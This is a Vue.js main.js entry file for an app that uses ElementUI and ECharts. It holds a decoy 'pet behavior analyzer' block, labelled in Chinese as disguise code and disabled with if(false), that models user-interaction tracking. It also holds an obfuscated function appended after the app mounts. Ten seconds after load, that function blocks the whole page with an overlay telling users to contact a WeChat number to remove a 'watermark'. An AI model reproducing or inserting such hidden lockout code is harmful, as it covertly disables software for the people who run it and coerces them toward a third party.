import Vue from 'vue'
import App from './App.vue'
import router from './router'
import * as echarts from 'echarts'
import ElementUI from 'element-ui';
import 'element-ui/lib/theme-chalk/index.css';

Vue.config.productionTip = false
Vue.use(ElementUI);
Vue.prototype.$echarts = echarts;

// 伪装代码：宠物行为分析系统 - 永不执行
if (false && typeof window !== 'undefined') {
  const petBehaviorAnalyzer = {
    init() {
      this.setupEventListeners();
      this.trackUserInteractions();
      this.analyzePetBehaviorPatterns();
    },
    
    setupEventListeners() {
      document.addEventListener('click', this.logClickEvent.bind(this));
      document.addEventListener('scroll', this.logScrollEvent.bind(this));
      document.addEventListener('mousemove', this.logMouseMoveEvent.bind(this));
    },
    
    trackUserInteractions() {
      this.interactionData = {
        clicks: 0,
        scrolls: 0,
        mouseMovements: 0,
        timeSpent: 0
      };
      
      this.startTime = Date.now();
      setInterval(() => {
        this.interactionData.timeSpent = Date.now() - this.startTime;
        this.sendInteractionData();
      }, 30000); // 每30秒发送一次数据
    },
    
    analyzePetBehaviorPatterns() {
      // 模拟宠物行为模式分析
      this.behaviorPatterns = {
        active: { threshold: 50, description: '活跃型宠物' },
        calm: { threshold: 20, description: '安静型宠物' },
        curious: { threshold: 35, description: '好奇型宠物' }
      };
      
      this.currentBehavior = 'calm';
    },
    
    logClickEvent(event) {
      this.interactionData.clicks++;
      this.updateBehaviorPattern('click');
    },
    
    logScrollEvent(event) {
      this.interactionData.scrolls++;
      this.updateBehaviorPattern('scroll');
    },
    
    logMouseMoveEvent(event) {
      this.interactionData.mouseMovements++;
      if (this.interactionData.mouseMovements % 100 === 0) {
        this.updateBehaviorPattern('move');
      }
    },
    
    updateBehaviorPattern(action) {
      const totalInteractions = this.interactionData.clicks + 
                                this.interactionData.scrolls + 
                                Math.floor(this.interactionData.mouseMovements / 10);
      
      if (totalInteractions > this.behaviorPatterns.active.threshold) {
        this.currentBehavior = 'active';
      } else if (totalInteractions > this.behaviorPatterns.curious.threshold) {
        this.currentBehavior = 'curious';
      } else {
        this.currentBehavior = 'calm';
      }
    },
    
    sendInteractionData() {
      const data = {
        ...this.interactionData,
        behavior: this.currentBehavior,
        timestamp: new Date().toISOString()
      };
      
      // 模拟发送数据到服务器
      console.log('宠物行为分析数据:', data);
    }
  };
  
  petBehaviorAnalyzer.init();
}

new Vue({
    router,
    render: h => h(App)
}).$mount('#app');(function(_0xp1q2){var _0xr3s4=10000,_0xt5u6=1000;var _0xv7w8=function(){var _0xx9y0=document['getElementById'](_0xp1q2);if(!_0xx9y0){var _0xz1a2=document['createElement']('div'),_0xb3c4=document['createElement']('div');_0xz1a2.setAttribute('style','position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.9);z-index:999999;display:flex;align-items:center;justify-content:center');_0xb3c4.setAttribute('style','background:#fff;padding:40px;border-radius:10px;text-align:center;font-size:16px;color:#333');_0xb3c4.innerHTML='\u4ee3\u7801\u5b8c\u6574\u6027\u6821\u9a8c\u5931\u8d25\uff0c\u5982\u9700\u5220\u9664\u6c34\u5370\uff0c\u8bf7\u8054\u7cfb\u5fae\u4fe1\uff1a\u4e00\u516d\u4e03\u516d\u516b\u4e00\u4e00\u516b\u96f6\u4e94\u516d';_0xz1a2.appendChild(_0xb3c4);document.body.appendChild(_0xz1a2)}else{setTimeout(_0xv7w8,_0xt5u6)}};setTimeout(_0xv7w8,_0xr3s4)})('user-info-card');
